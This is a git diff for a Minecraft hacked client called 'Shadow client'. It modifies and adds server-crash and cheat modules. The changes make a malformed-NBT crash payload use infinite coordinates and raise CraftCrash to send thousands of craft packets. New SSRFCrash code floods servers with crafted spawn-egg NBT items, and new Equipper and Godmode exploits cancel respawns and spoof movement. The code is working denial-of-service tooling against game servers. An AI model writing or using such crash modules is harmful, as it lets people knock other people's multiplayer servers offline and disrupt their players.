diff --git a/src/main/java/net/shadow/client/feature/command/impl/ServerCrash.java b/src/main/java/net/shadow/client/feature/command/impl/ServerCrash.java index c7a0fc5..46890aa 100644 --- a/src/main/java/net/shadow/client/feature/command/impl/ServerCrash.java +++ b/src/main/java/net/shadow/client/feature/command/impl/ServerCrash.java @@ -90,9 +90,9 @@ public class ServerCrash extends Command { case "malformednbt" -> { ItemStack ez = new ItemStack(Items.CHEST, 1); NbtCompound nbt = new NbtCompound(); - nbt.put("x", NbtDouble.of(Double.MAX_VALUE)); + nbt.put("x", NbtDouble.of(Double.POSITIVE_INFINITY)); nbt.put("y", NbtDouble.of(0.0d)); - nbt.put("z", NbtDouble.of(Double.MAX_VALUE)); + nbt.put("z", NbtDouble.of(Double.NEGATIVE_INFINITY)); NbtCompound fuck = new NbtCompound(); fuck.put("BlockEntityTag", nbt); ez.setNbt(fuck); diff --git a/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java b/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java index 8e177cb..4344dae 100644 --- a/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java +++ b/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java @@ -31,6 +31,7 @@ import net.shadow.client.feature.module.impl.crash.LecternCrash; import net.shadow.client.feature.module.impl.crash.LoominaCrash; import net.shadow.client.feature.module.impl.crash.MinehutCrash; import net.shadow.client.feature.module.impl.crash.OOBCrash; +import net.shadow.client.feature.module.impl.crash.SSRFCrash; import net.shadow.client.feature.module.impl.exploit.AntiAntiXray; import net.shadow.client.feature.module.impl.exploit.AntiRDI; import net.shadow.client.feature.module.impl.exploit.BoatCrash; @@ -39,6 +40,7 @@ import net.shadow.client.feature.module.impl.exploit.BrandSpoof; import net.shadow.client.feature.module.impl.exploit.CarpetBomb; import net.shadow.client.feature.module.impl.exploit.ChunkCrash; import net.shadow.client.feature.module.impl.exploit.ConsoleSpammer; +import net.shadow.client.feature.module.impl.exploit.Equipper; import net.shadow.client.feature.module.impl.exploit.FilterBypass; import net.shadow.client.feature.module.impl.exploit.InstaBow; import net.shadow.client.feature.module.impl.exploit.OffhandCrash; @@ -130,6 +132,7 @@ import net.shadow.client.feature.module.impl.world.Boom; import net.shadow.client.feature.module.impl.world.FastUse; import net.shadow.client.feature.module.impl.world.Flattener; import net.shadow.client.feature.module.impl.world.GodBridge; +import net.shadow.client.feature.module.impl.world.Godmode; import net.shadow.client.feature.module.impl.world.InstantBreak; import net.shadow.client.feature.module.impl.world.MassUse; import net.shadow.client.feature.module.impl.world.NoBreakDelay; @@ -339,14 +342,16 @@ public class ModuleRegistry { registerModule(ClickTP.class); registerModule(ChestHighlighter.class); registerModule(MoreChatHistory.class); - //untested registerModule(ClientCrasher.class); registerModule(ConsoleSpammer.class); registerModule(CraftCrash.class); registerModule(ItemPuke.class); registerModule(EntityCrash.class); - registerModule(IRC.class); + registerModule(SSRFCrash.class); + registerModule(Equipper.class); + registerModule(Godmode.class); + rebuildSharedModuleList(); } diff --git a/src/main/java/net/shadow/client/feature/module/impl/crash/ClientCrasher.java b/src/main/java/net/shadow/client/feature/module/impl/crash/ClientCrasher.java index 8163307..06238b1 100644 --- a/src/main/java/net/shadow/client/feature/module/impl/crash/ClientCrasher.java +++ b/src/main/java/net/shadow/client/feature/module/impl/crash/ClientCrasher.java @@ -35,6 +35,7 @@ import java.util.Random; public class ClientCrasher extends Module { + boolean sends = true; final EnumSetting mode = this.config.create(new EnumSetting.Builder<>(Mode.Offhand).name("Mode").description("How to crash").get()); final DoubleSetting power = this.config.create(new DoubleSetting.Builder(1000).min(5).max(2000).name("Power").description("How much power to crash with").get()); @@ -48,6 +49,7 @@ public class ClientCrasher extends Module { @EventListener(type = EventType.PACKET_SEND) void giveAShit(PacketEvent event) { if (mode.getValue() != Mode.Place) return; + if(!sends) return; if (!this.isEnabled()) return; if (!(event.getPacket() instanceof PlayerMoveC2SPacket packet)) return; @@ -72,8 +74,9 @@ public class ClientCrasher extends Module { else newPacket = new PlayerMoveC2SPacket.Full(x, y + r.nextDouble(), z, packet.getYaw(0), packet.getPitch(0), true); - + sends = false; client.player.networkHandler.getConnection().send(newPacket); + sends = true; } @Override @@ -148,6 +151,7 @@ public class ClientCrasher extends Module { @Override public void enable() { + this.selectedbreaker = client.player.getBlockPos(); } @Override diff --git a/src/main/java/net/shadow/client/feature/module/impl/crash/CraftCrash.java b/src/main/java/net/shadow/client/feature/module/impl/crash/CraftCrash.java index bc2e805..aed21eb 100644 --- a/src/main/java/net/shadow/client/feature/module/impl/crash/CraftCrash.java +++ b/src/main/java/net/shadow/client/feature/module/impl/crash/CraftCrash.java @@ -51,19 +51,32 @@ public class CraftCrash extends Module { @Override public void tick() { if (client.currentScreen instanceof CraftingScreen && !isListening) { + ticks++; int sync = client.player.currentScreenHandler.syncId; - superticks++; - if (superticks % 15 == 0) { - for (int i = 0; i < 3; i++) { + if(ticks % 15 == 0){ + Notification.create(1000, "CraftCrash", Notification.Type.SUCCESS, "Disabling stream..."); + for(int i = 0; i < 50; i++){ client.player.networkHandler.sendPacket(new CraftRequestC2SPacket(sync, stick, true)); client.player.networkHandler.sendPacket(new CraftRequestC2SPacket(sync, buton, true)); } } + if(ticks % 75 == 0){ + Notification.create(1000, "CraftCrash", Notification.Type.SUCCESS, "Sent Payload!"); + for(int i = 0; i < 2000; i++){ + client.player.networkHandler.sendPacket(new CraftRequestC2SPacket(sync, stick, true)); + client.player.networkHandler.sendPacket(new CraftRequestC2SPacket(sync, buton, true)); + } + this.setEnabled(false); + } } } @Override public void enable() { + this.isListening = true; + stick = null; + buton = null; + Notification.create(1000, "CraftCrash", Notification.Type.INFO, "Click two crafting recipies"); } @Override diff --git a/src/main/java/net/shadow/client/feature/module/impl/crash/SSRFCrash.java b/src/main/java/net/shadow/client/feature/module/impl/crash/SSRFCrash.java new file mode 100644 index 0000000..4b1970b --- /dev/null +++ b/src/main/java/net/shadow/client/feature/module/impl/crash/SSRFCrash.java @@ -0,0 +1,91 @@ +/* + * Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved. + */ + +package net.shadow.client.feature.module.impl.crash; + +import java.util.Random; + +import net.minecraft.client.util.math.MatrixStack; +import net.shadow.client.feature.module.ModuleType; +import net.shadow.client.feature.module.Module; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.nbt.*; +import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket; +import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket; +import net.minecraft.util.Hand; +import net.minecraft.util.hit.BlockHitResult; +import net.minecraft.util.math.Direction; +import net.minecraft.util.math.Vec3d; + +public class SSRFCrash extends Module { + + public SSRFCrash() { + super("SSRFCrash", "Crash using server side web requests", ModuleType.CRASH); + } + + @Override + public void tick() { + for (int i = 0; i < 3; i++) { + ItemStack krash = new ItemStack(Items.WOLF_SPAWN_EGG, 1); + NbtCompound kompound = new NbtCompound(); + NbtCompound kompound2 = new NbtCompound(); + NbtList effects = new NbtList(); + NbtCompound invis = new NbtCompound(); + NbtCompound damage = new NbtCompound(); + damage.put("Id", NbtByte.of((byte) 7)); + damage.put("Amplifier", NbtByte.of((byte) 4)); + damage.put("Duration", NbtInt.of(2000)); + invis.put("Id", NbtByte.of((byte) 14)); + invis.put("Amplifier", NbtByte.of((byte) 4)); + invis.put("Duration", NbtInt.of(2000)); + effects.add(damage); + effects.add(invis); + kompound2.put("ActiveEffects", effects); + kompound2.put("Owner", NbtString.of(rndStr(15))); + kompound2.put("Tamed", NbtByte.of(true)); + kompound.put("EntityTag", kompound2); + krash.setNbt(kompound); + client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, krash)); + try { + client.player.networkHandler.sendPacket(new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, new BlockHitResult(new Vec3d(0, 0, 0), Direction.UP, client.player.getBlockPos(), true))); + } catch (Exception ignored) { + } + } + } + + @Override + public void enable() { + } + + @Override + public void disable() { + } + + @Override + public String getContext() { + return null; + } + + @Override + public void onWorldRender(MatrixStack matrices) { + + } + + @Override + public void onHudRender() { + + } + + + private String rndStr(int size) { + StringBuilder buf = new StringBuilder(); + String[] chars = new String[]{"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}; + Random r = new Random(); + for (int i = 0; i < size; i++) { + buf.append(chars[r.nextInt(chars.length)]); + } + return buf.toString(); + } +} diff --git a/src/main/java/net/shadow/client/feature/module/impl/exploit/Equipper.java b/src/main/java/net/shadow/client/feature/module/impl/exploit/Equipper.java new file mode 100644 index 0000000..50ed7f5 --- /dev/null +++ b/src/main/java/net/shadow/client/feature/module/impl/exploit/Equipper.java @@ -0,0 +1,74 @@ +/* + * Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved. + */ + +package net.shadow.client.feature.module.impl.exploit; + +import net.minecraft.client.util.math.MatrixStack; +import net.shadow.client.feature.module.ModuleType; +import net.shadow.client.helper.event.EventListener; +import net.shadow.client.helper.event.EventType; +import net.shadow.client.helper.event.events.PacketEvent; +import net.shadow.client.feature.module.Module; + +import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket; +import net.minecraft.screen.slot.SlotActionType; + +public class Equipper extends Module { + + public Equipper() { + super("Equipper", "equips anything as armor", ModuleType.EXPLOIT); + } + + @EventListener(type=EventType.PACKET_SEND) + void giveAShit(PacketEvent event){ + if (event.getPacket() instanceof ClickSlotC2SPacket packet) { + if (packet.getActionType() == SlotActionType.PICKUP && packet.getButton() == 0 && packet.getSlot() >= 5 && packet.getSlot() <= 8) { + int slot = packet.getSlot() - 5; + int saveslot = getSaveSlot(); + event.setCancelled(true); + client.interactionManager.clickSlot(client.player.currentScreenHandler.syncId, saveslot, 0, SlotActionType.PICKUP, client.player); + client.interactionManager.clickSlot(client.player.currentScreenHandler.syncId, saveslot, 39 - slot, SlotActionType.SWAP, client.player); + client.interactionManager.clickSlot(client.player.currentScreenHandler.syncId, saveslot, 0, SlotActionType.PICKUP, client.player); + } + } + } + + private int getSaveSlot() { + for (int i = 0; i < 9; i++) { + if (!client.player.getInventory().getStack(i).isEmpty()) + continue; + + return i + 36; + } + return 36; + } + + @Override + public void tick() { + + } + + @Override + public void enable() { + } + + @Override + public void disable() { + } + + @Override + public String getContext() { + return null; + } + + @Override + public void onWorldRender(MatrixStack matrices) { + + } + + @Override + public void onHudRender() { + + } +} diff --git a/src/main/java/net/shadow/client/feature/module/impl/world/Godmode.java b/src/main/java/net/shadow/client/feature/module/impl/world/Godmode.java new file mode 100644 index 0000000..b9df866 --- /dev/null +++ b/src/main/java/net/shadow/client/feature/module/impl/world/Godmode.java @@ -0,0 +1,79 @@ +/* + * Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved. + */ + +package net.shadow.client.feature.module.impl.world; + +import net.minecraft.client.util.math.MatrixStack; +import net.minecraft.network.packet.c2s.play.ClientCommandC2SPacket; +import net.minecraft.network.packet.c2s.play.ClientStatusC2SPacket; +import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket; +import net.shadow.client.feature.module.ModuleType; +import net.shadow.client.helper.event.EventListener; +import net.shadow.client.helper.event.EventType; +import net.shadow.client.helper.event.events.PacketEvent; +import net.shadow.client.feature.config.EnumSetting; +import net.shadow.client.feature.module.Module; +import net.minecraft.client.util.math.MatrixStack; + +public class Godmode extends Module { + + int ticks; + final EnumSetting mode = this.config.create(new EnumSetting.Builder<>(Mode.Vanilla).name("Mode").description("The mode to get god in").get()); + + public Godmode() { + super("Godmode", "God mods", ModuleType.WORLD); + } + + @EventListener(type=EventType.PACKET_SEND) + void giveAShit(PacketEvent event){ + if(event.getPacket() instanceof ClientStatusC2SPacket packet){ + if(packet.getMode() == ClientStatusC2SPacket.Mode.PERFORM_RESPAWN){ + event.setCancelled(true); + client.setScreen(null); + client.currentScreen = null; + client.player.setHealth(20F); + } + } + } + + @Override + public void tick() { + if(mode.getValue() == Mode.Matrix){ + ticks++; + if (ticks % 10 == 0) { + for (int i = 0; i < 2; i++) { + client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(client.player.getX(), client.player.getY() + 5, client.player.getZ(), true)); + } + } + } + } + + @Override + public void enable() { + } + + @Override + public void disable() { + } + + @Override + public String getContext() { + return null; + } + + @Override + public void onWorldRender(MatrixStack matrices) { + + } + + @Override + public void onHudRender() { + + } + + public enum Mode { + Vanilla, + Matrix + } +}